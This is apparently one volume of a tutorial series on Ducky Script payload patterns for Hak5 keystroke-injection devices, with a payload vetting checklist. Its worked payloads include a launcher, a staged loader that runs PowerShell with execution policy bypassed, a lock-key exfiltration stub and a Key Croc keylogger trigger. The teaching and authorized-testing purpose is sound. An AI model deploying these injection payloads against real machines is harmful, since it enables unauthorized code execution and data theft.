Ducky Script · Volume 13
Ducky Script Volume 13 — Payload Patterns, Worked Examples & the Payload Hub
The structures real payloads are built from, worked per-device examples, and how to use the Hak5 payload repositories safely
Contents
1. About this volume
Part III is synthesis. It opens here, with the payload catalogue — the recurring structures that real payloads are built from, shown as worked examples across the four devices, plus how to use the large body of existing Hak5 and community payloads without getting burned.
The framing: there are not thousands of kinds of payload. There are a handful of patterns, recombined. Learn the patterns and almost any payload becomes legible — you see “ah, this is a staged loader with an operator gate” rather than a wall of unfamiliar lines. Each pattern below is presented as: what it is, when to use it, the shape, and a worked example.
Worked payloads also satisfy the deep-dive protocol’s visual-density requirement the way diagrams do for a hardware volume — for a language project, the code blocks carry the content (the project CLAUDE.md says exactly this).
2. The payload anatomy — every payload has these parts
Before the patterns, the parts they are all assembled from:
Payload anatomy
════════════════════════════════════════════════════════
┌─ HEADER ─────────── REM lines: what, target OS+layout,
│ AUTHORIZATION reference (Vol 16)
├─ CONFIG ─────────── DEFINE constants, ATTACKMODE,
│ VAR declarations, jitter settings
├─ GATE ───────────── (optional) WAIT_FOR_BUTTON_PRESS or
│ a trigger condition — when does it run
├─ SETTLE ─────────── opening DELAY / RESET — let enumeration
│ finish, get to a known-clean state
├─ BODY ──────────── the actual work: detect, branch, type,
│ loop, exfil — the pattern lives here
└─ CLOSE ──────────── leave clean: RESTORE state, LED FINISH,
STOP_PAYLOAD
Every well-built payload has these six parts, even if some are one line. The patterns in §§3-8 are variations in the BODY — the header/config/gate/settle/close scaffolding is common to all of them. A payload missing the HEADER (no authorization line) or the CLOSE (leaves the target’s state dirty) is not “a quick payload,” it is a sloppy one.
3. Pattern: the launcher
What: the simplest useful pattern — open a way to run commands (a Run dialog, a launcher, a terminal) and run one. When: the whole job is “execute this command.” The 80% case.
Shape: settle → open a runner → type a command → run it
Worked — USB Rubber Ducky, Windows, US layout:
REM Launcher: open cmd, run a single command
REM Target: Win10/11, US layout Authorization: <ref>
DELAY 2000
RESET
GUI r
DELAY 500
STRINGLN cmd
DELAY 750
STRINGLN whoami /all
Worked — the same intent, macOS:
REM Launcher: open Terminal, run a single command
REM Target: macOS, US layout Authorization: <ref>
DELAY 2000
RESET
GUI SPACE
DELAY 500
STRINGLN terminal
DELAY 1500
STRINGLN id
The launcher is where Vol 5’s timing discipline bites hardest — every DELAY is a guess about how fast the runner opens. Upgrade a fragile launcher with WAIT_FOR_* waits (Vol 5 §5) or an operator gate (§7).
4. Pattern: the staged loader
What: the payload types as little as possible — just enough to fetch or reach the real payload, which lives elsewhere (on the device’s own storage, on the clipboard, on a network resource). When: the real payload is long, symbol-heavy (Vol 7), or you want the typed footprint minimal.
Shape: settle → type a SHORT loader → the loader pulls
and runs the REAL payload (which was never typed
key-by-key)
Worked — USB Rubber Ducky, ATTACKMODE HID STORAGE (Vol 6 §2):
REM Staged loader: device carries the real script on its own
REM storage; the HID side just types a one-line loader.
REM Target: Win, US layout Authorization: <ref>
ATTACKMODE HID STORAGE
DELAY 3000
RESET
GUI r
DELAY 500
REM type a short loader that runs the script from the drive
REM that just appeared (the device's own STORAGE):
STRINGLN powershell -NoProfile -ExecutionPolicy Bypass -File D:\run.ps1
Why it is better than typing the whole script: Vol 3 §8 and Vol 7 §6 — one short, reliable type instead of hundreds of fragile, layout-sensitive ones. The staged loader is the single most useful upgrade to a fragile payload. The Bash Bunny does this natively (ATTACKMODE STORAGE + bash); the Key Croc and O.MG can carry/reach the real payload their own ways.
5. Pattern: the OS-adaptive payload
What: one payload, multiple targets — detect the OS and branch the whole body. When: you do not know (or do not want to commit to) the target OS in advance. Requires Ducky Script 3.0 (Vol 4).
Shape: settle → IF $_OS → per-OS body → ELSE → other body
Worked — USB Rubber Ducky / O.MG, 3.0:
REM OS-adaptive launcher
REM Target: Windows OR macOS, US layout Authorization: <ref>
DEFINE #SETTLE 2500
DELAY #SETTLE
RESET
IF ($_OS == WINDOWS) THEN
GUI r
DELAY 500
STRINGLN cmd
DELAY 750
STRINGLN whoami
ELSE
REM assume macOS
GUI SPACE
DELAY 500
STRINGLN terminal
DELAY 1500
STRINGLN id
END_IF
STOP_PAYLOAD
$_OS is a strong hint, not a guarantee (Vol 5 §3) — keep the defensive delays, and where a wrong branch is costly, confirm before committing. On the Bash Bunny / Key Croc the same idea is expressed in bash (if/case) around QUACK calls.
6. Pattern: the exfiltrator
What: the payload’s job is to get data off the host. When: the objective is a credential, a token, a config value, a file. The mechanism differs sharply by device (Vol 6 §9).
Shape (per device — the mechanism IS the device):
Rubber Ducky ─ type a script that reflects data via
lock-keys; EXFIL to loot.bin (slow, secrets)
Bash Bunny ─ ATTACKMODE STORAGE / ETHERNET; capture to
the SSD or over the network (bulk-capable)
Key Croc ─ it IS a keylogger; exfil is native; stream
over Wi-Fi or pull from the SSD
O.MG ─ exfil over the device's own Wi-Fi to the
web UI (network operation)
Worked — USB Rubber Ducky, Keystroke Reflection (Vol 6 §5-6):
REM Exfiltrator: enable Keystroke Reflection, type a script
REM that reads a target value and reflects it back via the
REM lock-key channel; persist with EXFIL.
REM Target: Win, US layout Authorization: <ref>
$_EXFIL_MODE_ENABLED = TRUE
DELAY 2500
RESET
GUI r
DELAY 500
REM (the typed script — abbreviated — reads the value and
REM toggles lock keys to reflect it back to the device)
STRINGLN powershell -NoProfile -Command "<reflect-value-via-lockkeys>"
DELAY 4000
EXFIL $captured
The Rubber Ducky’s exfiltrator is the clever-because-constrained one (three bits over lock keys — Vol 6); the other three devices have a network or are the logger, so their exfiltrators are comparatively straightforward — which is itself a reason to pick the right device for an exfil-heavy job (Vol 17).
7. Pattern: the operator-gated payload
What: the payload does nothing until the operator says go — via WAIT_FOR_BUTTON_PRESS (Rubber Ducky/3.0) or a remote trigger (O.MG). When: you want to plug in calmly, get the target to the right state by hand, then fire — the top of the timing-reliability hierarchy (Vol 5 §9).
Shape: settle → WAIT FOR THE OPERATOR → body
Worked — USB Rubber Ducky, 3.0:
REM Operator-gated: plug in, navigate the target by hand to
REM the right state, THEN press the button to fire.
REM Target: Win, US layout Authorization: <ref>
DELAY 1500
RESET
LED_R
WAIT_FOR_BUTTON_PRESS
LED_G
REM ── from here it's a normal launcher, but the timing is
REM no longer a guess: the operator confirmed the moment ──
GUI r
DELAY 500
STRINGLN cmd
DELAY 750
STRINGLN whoami
For the O.MG the “gate” is the remote trigger from the web UI (Vol 11 §5) — the same idea (the operator decides when), achieved over Wi-Fi instead of with a button.
8. Pattern: the conditional / triggered payload
What: the payload fires on a condition, not on plug-in — the Key Croc’s native pattern (Vol 10 §5), and the O.MG’s geo-fenced/conditional triggering (Vol 11 §7). When: the right moment is defined by the target’s behaviour or the device’s environment, not by the operator’s plug-in.
Shape (Key Croc): MATCH <pattern> → action (DuckyScript)
Shape (O.MG): geo-fence / condition → triggered payload
Worked — Key Croc, match-and-trigger:
REM Conditional payload: fires when the target types "vpn"
REM (typo-tolerant — Vol 10 §5). Authorization: <ref>
MATCH vpn
REM the action — the Croc is a Linux box; the injection
REM part is DuckyScript via QUACK:
QUACK GUI r
QUACK DELAY 500
QUACK STRINGLN cmd
QUACK DELAY 750
QUACK STRINGLN ipconfig /all
Worked — O.MG, geo-fenced (conceptual — configured in the web UI, Vol 11 §7):
REM O.MG payload configured in the web UI with:
REM - geo-fence: authorized-site only (scope control)
REM - trigger: remote, operator-initiated
REM the payload body itself is ordinary DuckyScript:
DELAY 2000
GUI r
DELAY 500
STRINGLN cmd
The conditional pattern is the one that most distinguishes the install-and-leave devices — it is what makes a payload autonomous rather than operated. It is also the pattern with the most posture weight (Vol 16): a payload that fires on its own, later, needs its trigger and scope thought through hard.
9. The Hak5 Payload Hub and the official repositories
You do not have to write every payload from scratch. Hak5 maintains a substantial body of payloads:
- The official payload repositories on GitHub — one per device: the USB Rubber Ducky payload repo, the Bash Bunny payload repo, the Key Croc payload repo (all under the
hak5GitHub organisation). These are curated, device-specific, and version-controlled. - The Hak5 Payload Hub — Hak5’s catalogue/portal for discovering payloads across the device family.
- The wider community — forums, blogs, third-party repos — a large, uneven body of payloads.
How to use them well:
- Read them as worked examples of the patterns above. Almost every published payload is one of §§3-8’s patterns, possibly combined. Reading them is how the patterns become fluent.
- Match the payload to your device and its generation. A Mark I (1.0) Rubber Ducky cannot run a payload using 3.0 constructs (Vol 2 §8). A Bash Bunny payload is not a Rubber Ducky payload.
- Mind the cross-generation staleness (Vol 2 §7) — a payload from the 1.0 era may target an OS version that has since changed; the language may be valid while the behaviour is stale.
- Never run one un-read — §10.
10. Vetting discipline — a payload is code you are about to run
The discipline, stated as plainly as it deserves:
A payload is code you are about to execute — fast, automatically, with the logged-in user’s privileges, on a machine. Treat downloading and running an un-read payload exactly as you would treat downloading and running an un-read script as that user. Because that is precisely what it is.
The vetting checklist for any payload you did not write:
Before you run a payload you didn't write
════════════════════════════════════════════════════════
□ READ every line. Understand what each line does.
□ Resolve every URL, every fetched resource — what does
it pull, from where? Is that source one you trust?
□ Check the target assumptions — OS, OS version, layout,
device generation. Do they match YOUR target?
□ Check for anything that exceeds your authorization —
a payload that does MORE than the engagement permits
is a payload you must edit down or not run.
□ Check the CLOSE — does it leave the target's state
clean, or does it leave artifacts/dirty state?
□ TEST it on an owned machine first (Vol 12 §10).
A payload that fails any of these is not ready. A payload
from a stranger that you cannot fully read is not a
payload — it is a liability you happen to possess.
This is not paranoia; it is the only sane posture. The whole point of a keystroke-injection device is that it runs code on a machine fast and without a human checking each step — which means the human checking has to happen before, at vetting time. Vol 16 carries the legal weight; this is the operational hygiene.
11. Resources
- The Hak5 payload repositories (USB Rubber Ducky, Bash Bunny, Key Croc): https://github.com/hak5
- USB Rubber Ducky payloads: https://github.com/hak5/usbrubberducky-payloads
- Bash Bunny payloads: https://github.com/hak5/bashbunny-payloads
- Key Croc payloads: https://github.com/hak5/keycroc-payloads
- Vols 3-7 — the language the patterns are written in
- Vols 8-11 — the devices the worked examples target
- Vol 12 — encoding/deploying these payloads, and the testing gate
- the project
scripts/— where tjscientist’s own payloads live
This is Volume 13 of an 18-volume series. Next: Vol 14 covers combined-device and combined-tool workflows — staging the four devices together, and staging a Ducky Script device alongside the WiFi Pineapple, with hyperlinks into the Pineapple deep dive.